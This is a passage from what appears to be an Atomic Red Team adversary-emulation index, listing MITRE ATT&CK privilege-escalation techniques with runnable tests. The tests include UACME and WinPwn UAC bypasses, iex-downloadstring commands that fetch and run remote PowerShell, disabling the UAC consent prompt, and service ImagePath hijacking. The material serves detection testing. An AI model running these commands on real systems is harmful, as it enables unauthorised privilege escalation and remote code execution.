- }
- ],
- "executor": {
- "command": "\"#{uacme_exe}\"\n",
- "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "UACME Bypass Method 33",
- "auto_generated_guid": "e514bb03-f71c-4b22-9092-9f961ec6fb03",
- "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: winscripting.blog\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\fodhelper.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodMsSettings2\n\nhttps://github.com/hfiref0x/UACME\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "uacme_exe": {
- "description": "Path to uacme executable",
- "type": "path",
- "default": "%temp%\\uacme\\33 Akagi64.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n",
- "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n"
- }
- ],
- "executor": {
- "command": "\"#{uacme_exe}\"\n",
- "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "UACME Bypass Method 34",
- "auto_generated_guid": "695b2dac-423e-448e-b6ef-5b88e93011d6",
- "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: James Forshaw\n\nType:\tShell API\n\nMethod: Environment variables expansion\n\nTarget:\t\\system32\\svchost.exe via \\system32\\schtasks.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDiskCleanupEnvironmentVariable\n\nUCM Method:\tUacMethodDiskSilentCleanup\n\nhttps://github.com/hfiref0x/UACME\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "uacme_exe": {
- "description": "Path to uacme executable",
- "type": "path",
- "default": "%temp%\\uacme\\34 Akagi64.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n",
- "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n"
- }
- ],
- "executor": {
- "command": "\"#{uacme_exe}\"\n",
- "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "UACME Bypass Method 39",
- "auto_generated_guid": "56163687-081f-47da-bb9c-7b231c5585cf",
- "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Stefan Kanthak\n\nType:\tDll Hijack\n\nMethod: .NET Code Profiler\n\nTarget:\t\\system32\\mmc.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmCorProfilerMethod\n\nUCM Method:\tUacMethodCorProfiler\n\nhttps://github.com/hfiref0x/UACME\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "uacme_exe": {
- "description": "Path to uacme executable",
- "type": "path",
- "default": "%temp%\\uacme\\39 Akagi64.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n",
- "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n"
- }
- ],
- "executor": {
- "command": "\"#{uacme_exe}\"\n",
- "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "UACME Bypass Method 56",
- "auto_generated_guid": "235ec031-cd2d-465d-a7ae-68bab281e80e",
- "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Hashim Jawad\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\WSReset.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodShellWSReset\n\nhttps://github.com/hfiref0x/UACME\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "uacme_exe": {
- "description": "Path to uacme executable",
- "type": "path",
- "default": "%temp%\\uacme\\56 Akagi64.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n",
- "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n"
- }
- ],
- "executor": {
- "command": "\"#{uacme_exe}\"\n",
- "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "UACME Bypass Method 59",
- "auto_generated_guid": "dfb1b667-4bb8-4a63-a85e-29936ea75f29",
- "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: James Forshaw\n\nType:\tAppInfo ALPC\n\nMethod: RAiLaunchAdminProcess and DebugObject\n\nTarget:\tAttacker defined\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDebugObjectMethod\n\nUCM Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "uacme_exe": {
- "description": "Path to uacme executable",
- "type": "path",
- "default": "%temp%\\uacme\\59 Akagi64.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n",
- "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n"
- }
- ],
- "executor": {
- "command": "\"#{uacme_exe}\"\n",
- "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "UACME Bypass Method 61",
- "auto_generated_guid": "7825b576-744c-4555-856d-caf3460dc236",
- "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Enigma0x3/bytecode77 derivative by Nassim Asrir\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\slui.exe, \\system32\\changepk.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "uacme_exe": {
- "description": "Path to uacme executable",
- "type": "path",
- "default": "%temp%\\uacme\\61 Akagi64.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n",
- "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n"
- }
- ],
- "executor": {
- "command": "\"#{uacme_exe}\"\n",
- "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "WinPwn - UAC Magic",
- "auto_generated_guid": "964d8bf8-37bc-4fd3-ba36-ad13761ebbcc",
- "description": "UAC bypass using Magic technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nUACBypass -noninteractive -command \"C:\\windows\\system32\\cmd.exe\" -technique magic",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - UAC Bypass ccmstp technique",
- "auto_generated_guid": "f3c145f9-3c8d-422c-bd99-296a17a8f567",
- "description": "UAC bypass using ccmstp technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nUACBypass -noninteractive -command \"C:\\windows\\system32\\calc.exe\" -technique ccmstp",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - UAC Bypass DiskCleanup technique",
- "auto_generated_guid": "1ed67900-66cd-4b09-b546-2a0ef4431a0c",
- "description": "UAC bypass using DiskCleanup technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nUACBypass -noninteractive -command \"C:\\windows\\system32\\cmd.exe\" -technique DiskCleanup",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - UAC Bypass DccwBypassUAC technique",
- "auto_generated_guid": "2b61977b-ae2d-4ae4-89cb-5c36c89586be",
- "description": "UAC Bypass DccwBypassUAC technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/dccuac.ps1')",
- "name": "powershell"
- }
- },
- {
- "name": "Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry key",
- "auto_generated_guid": "251c5936-569f-42f4-9ac2-87a173b9e9b8",
- "description": "Disable User Account Conrol (UAC) for admin by setting the registry key \nHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ConsentPromptBehaviorAdmin to 0.\n\n[MedusaLocker Ransomware](https://cloudsek.com/technical-analysis-of-medusalocker-ransomware/), \n[Purple Fox Rootkit](https://blogs.blackberry.com/en/2022/01/threat-thursday-purple-fox-rootkit), \n[Avaddon Ransomware](https://blogs.blackberry.com/en/2021/06/threat-thursday-avaddon-ransomware-uses-ddos-attacks-as-triple-threat)\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$orgValue =(Get-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name ConsentPromptBehaviorAdmin).ConsentPromptBehaviorAdmin\nSet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name ConsentPromptBehaviorAdmin -Value 0 -Type Dword -Force",
- "cleanup_command": "Set-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name ConsentPromptBehaviorAdmin -Value $orgValue -Type Dword -Force\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "UAC Bypass with WSReset Registry Modification",
- "auto_generated_guid": "3b96673f-9c92-40f1-8a3e-ca060846f8d9",
- "description": "The following UAC bypass is focused on a registry key under \"HKCU:\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command\" that will trigger a command once wsreset.exe runs. \nThis bypass is limited to Windows 10 1803/1809 and may not run on Server platforms. The registry mod is where interest will be.\nIf successful, the command to run will spawn off wsreset.exe. \n[UAC Bypass in Windows 10 Store Binary](https://0x1.gitlab.io/exploit/UAC-Bypass-in-Windows-10-Store-Binary/)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "commandpath": {
- "description": "Registry path",
- "type": "string",
- "default": "HKCU:\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command"
- },
- "commandtorun": {
- "description": "Command to run",
- "type": "string",
- "default": "C:\\Windows\\System32\\cmd.exe /c start cmd.exe"
- }
- },
- "executor": {
- "command": "New-Item #{commandpath} -Force | Out-Null\nNew-ItemProperty -Path #{commandpath} -Name \"DelegateExecute\" -Value \"\" -Force | Out-Null\nSet-ItemProperty -Path #{commandpath} -Name \"(default)\" -Value \"#{commandtorun}\" -Force -ErrorAction SilentlyContinue | Out-Null\n$Process = Start-Process -FilePath \"C:\\Windows\\System32\\WSReset.exe\" -WindowStyle Hidden",
- "cleanup_command": "Remove-Item #{commandpath} -Recurse -Force\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1548.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0",
- "type": "attack-pattern",
- "created": "2020-01-30T14:34:44.992Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1548.003",
- "url": "https://attack.mitre.org/techniques/T1548/003"
- },
- {
- "url": "https://www.sudo.ws/",
- "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.",
- "source_name": "sudo man page 2018"
- },
- {
- "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/",
- "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
- "source_name": "OSX.Dok Malware"
- },
- {
- "url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does",
- "description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.",
- "source_name": "cybereason osx proton"
- }
- ],
- "modified": "2022-03-14T16:28:19.781Z",
- "name": "Abuse Elevation Control Mechanism: Sudo and Sudo Caching",
- "description": "Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo
command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout
, which is the amount of time in minutes between instances of sudo
before it will re-prompt for a password. This is because sudo
has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo
with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets
variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, /etc/sudoers
, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL
.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo
's timestamp can be monitored to see if it falls within the timestamp_timeout
range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets
is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled tty_tickets
to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers
.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal
. As of macOS Sierra, the sudoers file has tty_tickets
enabled by default.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT
and LOG_OUTPUT
directives in the /etc/sudoers
file.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification",
- "Command: Command Execution",
- "Process: Process Metadata",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_effective_permissions": [
- "root"
- ],
- "identifier": "T1548.003"
- },
- "atomic_tests": []
- },
- "T1574.011": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Travis Smith, Tripwire",
- "Matthew Demaske, Adaptforward"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c",
- "created": "2020-03-13T11:42:14.444Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.011",
- "url": "https://attack.mitre.org/techniques/T1574/011"
- },
- {
- "source_name": "Tweet Registry Perms Weakness",
- "url": "https://twitter.com/r0wdy_/status/936365549553991680",
- "description": "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018."
- },
- {
- "source_name": "insecure_reg_perms",
- "url": "https://itm4n.github.io/windows-registry-rpceptmapper-eop/",
- "description": "Cl\u00e9ment Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021."
- },
- {
- "source_name": "Kansa Service related collectors",
- "url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html",
- "description": "Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019."
- },
- {
- "source_name": "malware_hides_service",
- "url": "https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/",
- "description": "Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021."
- },
- {
- "source_name": "Autoruns for Windows",
- "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns",
- "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020."
- },
- {
- "source_name": "Registry Key Security",
- "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN",
- "description": "Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017."
- },
- {
- "source_name": "microsoft_services_registry_tree",
- "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree",
- "description": "Microsoft. (2021, August 5). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved August 25, 2021."
- },
- {
- "source_name": "troj_zegost",
- "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost",
- "description": "Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/478.html",
- "source_name": "capec",
- "external_id": "CAPEC-478"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services
. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service\u2019s Registry tree. For example, the FailureCommand
key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe Performance
key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance
key is not already present and if an adversary-controlled user has the Create Subkey
permission, adversaries may create the Performance
key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the Parameters
key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\u2019s file may be identified using HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll
.(Citation: malware_hides_service)",
- "modified": "2022-05-05T04:53:45.640Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Hijack Execution Flow: Services Registry Permissions Weakness",
- "x_mitre_detection": "Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Modification",
- "Service: Service Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM"
- ],
- "x_mitre_defense_bypassed": [
- "Application Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1574.011"
- },
- "atomic_tests": [
- {
- "name": "Service Registry Permissions Weakness",
- "auto_generated_guid": "f7536d63-7fd4-466f-89da-7e48d550752a",
- "description": "Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg.\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{weak_service_name}\" /v ImagePath /d \"C:\\temp\\AtomicRedteam.exe\"\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "weak_service_name": {
- "description": "weak service check",
- "type": "string",
- "default": "weakservicename"
- }
- },
- "executor": {
- "command": "get-acl REGISTRY::HKLM\\SYSTEM\\CurrentControlSet\\Services\\* |FL\nget-acl REGISTRY::HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{weak_service_name} |FL\n",
- "name": "powershell"
- }
- },
- {
- "name": "Service ImagePath Change with reg.exe",
- "auto_generated_guid": "f38e9eea-e1d7-4ba6-b716-584791963827",
- "description": "Change Service registry ImagePath of a bengin service to a malicious file\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "weak_service_name": {
- "description": "weak service name",
- "type": "string",
- "default": "calcservice"
- },
- "weak_service_path": {
- "description": "weak service path",
- "type": "string",
- "default": "%windir%\\system32\\win32calc.exe"
- },
- "malicious_service_path": {
- "description": "malicious service path",
- "type": "string",
- "default": "%windir%\\system32\\cmd.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "The service must exist (#{weak_service_name})\n",
- "prereq_command": "if (Get-Service #{weak_service_name}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "sc.exe create #{weak_service_name} binpath= \"#{weak_service_path}\"\n"
- }
- ],
- "executor": {
- "command": "reg.exe add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{weak_service_name}\" /f /v ImagePath /d \"#{malicious_service_path}\"\n",
- "cleanup_command": "sc.exe delete #{weak_service_name}\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1178": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Vincent Le Toux",
- "Alain Homewood, Insomnia Security"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d",
- "type": "attack-pattern",
- "created": "2018-01-16T16:13:52.465Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1178",
- "url": "https://attack.mitre.org/techniques/T1178"
- },
- {
- "source_name": "Microsoft SID",
- "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.",
- "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx"
- },
- {
- "url": "https://msdn.microsoft.com/library/ms679833.aspx",
- "description": "Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.",
- "source_name": "Microsoft SID-History Attribute"
- },
- {
- "source_name": "Microsoft Well Known SIDs Jun 2017",
- "description": "Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.",
- "url": "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems"
- },
- {
- "source_name": "Microsoft Get-ADUser",
- "description": "Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.",
- "url": "https://technet.microsoft.com/library/ee617241.aspx"
- },
- {
- "source_name": "AdSecurity SID History Sept 2015",
